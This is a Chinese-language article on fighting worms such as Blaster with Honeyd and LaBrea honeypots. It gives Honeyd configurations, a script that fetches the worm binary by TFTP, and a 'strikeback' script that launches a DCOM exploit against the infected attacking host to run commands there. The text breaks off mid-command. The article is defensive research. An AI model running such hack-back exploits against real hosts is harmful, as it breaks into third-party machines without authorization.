2003年夏天,对于运行着Microsoft Windows的成千上万台主机来说简直就是场噩梦!也给广大网民留下了悲伤的回忆,这一些都归结于冲击波蠕虫的全世界范围的传播。这种事件也以不是第一次了,以往的Slammer, Code Red,Nimda 蠕虫同样也有着类似的破坏效果。
这种蠕虫会在被感染的机器上自己复制,以其达到通过蔓布因特网感染其他的机器的目的。导致了人们对网络安全问题的重视。
人们总是习惯于相同类型的系统与程序。这同达尔文的某个理论相似,单作的这使许多网络安全专家畏惧连到因特网,而遭到一种新的恶意的蠕虫的攻击,如果最近的冲击波能格式Windows 的机器的硬盘会是什么下场?虽然它没这种效果,但它可以轻易的达到那种效果,
随着新的网络攻击的水平不断提高,提出一个新的解决方案必须的。
这篇文章是说用Honeypots 同Internet 蠕虫作斗争的方法,第一部分介绍讨论关于传播广泛的蠕虫的背景知识,然后,讨论Honeypots 的一些实用的功能。最后,我们将搭建一个Honeypots来同Internet 蠕虫作斗争和反击。最后,我们将展望一下未来的观点。
1.0 关于蠕虫
简单点说,蠕虫就是有着危害的代码来攻击网上的受害主机,并在受害主机上自我复制,再攻击其他的受害主机的令人畏惧的实体。
大多数时间, 蠕虫程序都是计算机黑客,网络安全研究人员和病毒作者写的。病毒传染基于迷惑人脆弱的部分,通过社会工程学来传播。比如,迷惑一个用户敲击一个电子邮件附件,以其达到目的。
蠕虫主要有三种主要特性:
感染: 通过利用脆弱感染一个目标。
潜伏:感染当地目标远程主机。
传播:影响的目标,再感染其他的主机。
2.0 关于 honeypots
Honeypots是一个哄骗进攻者的计算机。在一个网络上,恶意的攻击者将会攻击伪造的系统,他们使尽一些方法得到的只是一些无关的信息。
当一个honeypot作为伪造的主机,常常哄骗进攻者时,这就意味着所有的请求到honeypot都是可怀疑的,
honeypots 经常认为用于被动分析时,他们也能起交互式作用来处理蠕虫,两种honeypots 经常被使用。
高级应用:一种真正的主机通常几乎牺牲(叫做傀儡主机),在一个网络在等待任何进攻者攻击。
低级应用:服务器和/或主机是模拟的(例如Honeyd by Niels Provos)
3.0 蜜罐同蠕虫的对抗
这章的目标将是证明交互式honeypots 同蠕虫作斗争的优势,我们将明白怎么使用新的蜜罐技术来防御不同的阶段期间的蠕虫,
3.1 蠕虫与蠕虫的感染
蠕虫感染的阶段就是它在受害主机上自我复制攻击其他的主机。
在这个阶段期间 ,作为防守者的蜜罐会检测非法入侵者的行为。比如,监视网络,这项技术通常被称为太公钓鱼,愿者上钩。防守者的蜜罐是一个建在网关上的,扮演着一个防火墙,或者入侵检测系统(IDS),或者是入侵防御系统(IPS)。它过滤了通过网络的流量,分析数据包的内容。然后,如果网络的地址同那些知名的攻击的指纹是否相同,在检验之后,网关将标记一定时期内的危害的源地址。因此,危害的数据包将被重定向到蜜罐中,而不是主网络中。
对于最近的冲击波蠕虫,如果网关机器对来自外部的TCP数据包请求本地135端口,被IDS进行标记。他将被重定向到蜜罐中。我们将在第3.3章中讨论蜜罐未来的新功能。
我们也发现了这门技术的缺点:
1,标记总是晚于新的未知的攻击,
2,这一概念是可靠的吗?如果因为错误的配置而系统出错,将合法的数据包发到蜜罐中该怎么办?
3,网络速度因为网关的巨量的分析而被减慢。
3.2 蜜罐与蠕虫的潜伏
蜜罐技术对于对付是非常有用的,特别是扑获和分析它们。为了扑获到一个蠕虫,你可以让一台主机感染上,至少让蠕虫认为已感染上了,在前一章了,我们看到我们能用蜜罐来转向这些攻击的流量。
蜜罐也被称为“傀儡主机”(一个正常的没有打最新补丁的漏洞主机,有被入侵的可能性)。或者模拟一个服务,注意要让她们在你的控制下不能在反弹感染其他的主机。如想获得更多的信息,请参考Honeynet Project.的建议。
3.2.1
受害主机
使用一个受害主机,安装着原始的操作系统和一些适当的服务,也可以通过VMWare来安装许多个操作系统,来迷惑蠕虫的攻击.
为了扑获蠕虫,受害主机等待被感染,以至于监视网络上的流量并发现蠕虫.
3.2.2 虚拟的主机和服务
模拟这个虚拟的主机和服务,honeypot 通过伪造的服务能让远程的蠕虫进行接触。完成这种的程序叫做蜜罐
为了描述这个方法,这里有一种方法来欺骗冲击波蠕虫的,它会欺骗冲击波蠕虫认为对方的Windows 主机开放着135端口,并运行着RPC DCOM 服务。
这个简单的配置通常能成功地发现在因特网上的冲击波蠕虫。
create default set default personality "Windows XP Pro"
add default tcp port 135 open
add default tcp port 4444 "/bin/sh scripts/WormCatcher.sh $ipsrc $ipdst"
set default tcp action block
set default udp action block
这里有一个在Honeyd 发布的对每一个请求4444端口脚本程序。
!#/bin/sh
# Creation of a directory for every contaminated host
# attacking the honeypot, in order to archive different binaries
mkdir /tmp/$1-$2
# Download of the worm through TFTP in this directory
# (specific behaviour for MSBlast)
cd /tmp/$1-$2/
tftp $1 <<EOF
get msblast.exe
quit
EOF
通过这种简单的配置,我们能在没有操作系统中发现冲击波蠕虫的攻击。这项技术所以很实用.
3.3 蜜罐与蠕虫的传播
3.3.1 对蠕虫请求的回应
当一个蠕虫想传播是,会随机攻击一些IP.在这些目标列表中,一些IP可能没有被用.但其他的IP就会遭到蠕虫的攻击,如果一些IP对蠕虫的攻击没有相应的话,它们就会跳过这些IP攻击其他的IP.
当一个蠕虫攻击一个不存在的主机时,蜜罐就会伪装信息让蠕虫攻击它.
比如,冲击波会随机选择攻击开了135端口的主机.对没有用的IP,我们可以设置蜜罐来诱扑冲击波蠕虫.要用到叫做arpd的demon.具体配置如下:
create default
set default personality "Windows XP Pro"
add default tcp port 135 open
set default tcp action block
set default udp action block
有了这个配置,冲击波蠕虫就会对不存在运行着蜜罐的IP进行攻击,蠕虫会以为对方开着135端口的漏洞主机.通过这门技术,冲击波蠕虫就会被伪造的信息欺骗,达到拖延时间,进而通知管理员,采取措施,对进程中的程序进行清理.避免遭到冲击波的控制.
如果一个新的蠕虫设计过于复杂,这个蜜罐就不是那么好配置了.
3.3.2 对蜜罐的缓慢的回应
继续前一章的,蜜罐能监视所进来得请求的数据,使在网络层的对蠕虫的回应减慢,这项技术以被使用,所用到的工具叫做Labrea。这个Unix daemon 能对未存在的IP作出回应。为了模拟对攻击者的TCP session。它使用合法的RFC的文档,来最大化的拖延TCP session的时间。为了避免蠕虫的攻击,TCP window size 始终保持为0。
通常下蠕虫都是以一个进程在受害主机上的。在内核中使用classic network calls来到处传播,在用户的领域使用classic API。蠕虫不知道网络为什么运行这么慢,它会减慢并阻塞伪造的目标。
作为实验,Labrea已成功地战胜了红色代码蠕虫,它也可能对付其他的蠕虫攻击。在未来的Honeyd 系统中将添加这样的功能。
尽管这种防守体系有很多缺点,比如多线程的蠕虫或未意识到的蠕虫会同时攻击一些目标,而不会阻塞我们伪造的目标。
3.3.3 我们应采取什么反击措施
一些已发布的反击措施
*孤立一些主机
*关闭蠕虫敏感的远程的服务
*对远程设备(路由器,防火墙等等)制定合适的流量监控
3.3.4 Launching a counter offensive
这里有一个通过Honeyd配置的例子,
create default
set default personality "Windows XP Pro"
add default tcp port 135 open
add default tcp port 4444 "/bin/sh scripts/strikeback.sh $ipsrc"
set default tcp action block
set default udp action block
蜜罐的TCP 135端口开着,并接受冲击波蠕虫的攻击,幸运的是,蠕虫没有检查RPC 回应的完整。因此,蜜罐经过三次握手的过程,来检测非法的数据包。
然后,我们添加一个4444端口服务,它可以让冲击波获得远程的SHELL,包括通过TFTP来执行下载代码。这个伪造的SHELL将通过一个叫做strikeback.sh来欺骗蠕虫。
以下是运行在Windows XP Pro系统下的strikeback.sh程序,
!#/bin/sh
# Launches a DCOM exploit toward the infected attacking host
# and then run cleaning commands in the remote DOS shell obtained
./dcom_exploit -d $1 << EOF
REM Executes the following orders on the host :
REM 1) Kill the running process MSBlast.exe
taskki